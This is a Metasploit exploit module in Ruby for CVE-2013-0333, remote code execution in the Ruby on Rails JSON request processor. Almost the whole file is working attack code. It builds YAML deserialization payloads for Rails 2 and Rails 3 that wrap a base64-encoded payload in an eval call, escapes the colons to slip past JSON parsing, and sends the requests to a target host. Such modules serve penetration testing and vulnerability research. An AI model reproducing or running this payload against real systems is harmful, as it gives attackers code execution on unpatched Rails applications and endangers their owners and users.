Ruby on Rails JSON Processor YAML Deserialization Code Execution

		##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##



require 'msf/core'



class Metasploit3 < Msf::Exploit::Remote

    Rank = ExcellentRanking



    include Msf::Exploit::CmdStagerTFTP

    include Msf::Exploit::Remote::HttpClient



    def initialize(info = {})

        super(update_info(info,

            'Name'           => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution',

            'Description'    => %q{

                    This module exploits a remote code execution vulnerability in the

                JSON request processor of the Ruby on Rails application framework.

                This vulnerability allows an attacker to instantiate a remote object,

                which in turn can be used to execute any ruby code remotely in the

                context of the application. This vulnerability is very similar to

                CVE-2013-0156.



                This module has been tested successfully on RoR 3.0.9, 3.0.19, and

                2.3.15.



                The technique used by this module requires the target to be running a

                fairly recent version of Ruby 1.9 (since 2011 or so). Applications

                using Ruby 1.8 may still be exploitable using the init_with() method,

                but this has not been demonstrated.



            },

            'Author'         =>

                [

                    'jjarmoc',  # Initial module based on cve-2013-0156, testing help

                    'egypt',    # Module

                    'lian',     # Identified the RouteSet::NamedRouteCollection vector

                ],

            'License'        => MSF_LICENSE,

            'References'  =>

                [

                    ['CVE', '2013-0333'],

                ],

            'Platform'       => 'ruby',

            'Arch'           => ARCH_RUBY,

            'Privileged'     => false,

            'Targets'        =>    [ ['Automatic', {} ] ],

            'DisclosureDate' => 'Jan 28 2013',

            'DefaultOptions' => { "PrependFork" => true },

            'DefaultTarget' => 0))



        register_options(

            [

                Opt::RPORT(80),

                OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),

                OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])



            ], self.class)



    end



    #

    # Create the YAML document that will be embedded into the JSON

    #

    def build_yaml_rails2



        code = Rex::Text.encode_base64(payload.encoded)

        yaml =

            "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +

            "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +

            "eval(%[#{code}].unpack(%[m0])[0]);' " +

            ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n   " +

            ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n     :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +

            ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"

        yaml.gsub(':', '\u003a')

    end





    #

    # Create the YAML document that will be embedded into the JSON

    #

    def build_yaml_rails3



        code = Rex::Text.encode_base64(payload.encoded)

        yaml =

            "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +

            "'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " +

            ": !ruby/object:OpenStruct\n table:\n  :defaults: {}\n"

        yaml.gsub(':', '\u003a')

    end



    def build_request(v)

        case v

        when 2; build_yaml_rails2

        when 3; build_yaml_rails3

        end

    end



    #

    # Send the actual request

    #

    def exploit



        [2, 3].each do |ver|

            print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...")

            send_request_cgi({

                'uri'     => normalize_uri(target_uri.path),

                'method'  => datastore['HTTP_METHOD'],

                'ctype'   => 'application/json',

                'headers' => { 'X-HTTP-Method-Override' => 'get' },

                'data'    => build_request(ver)

            }, 25)

            handler

        end



    end

end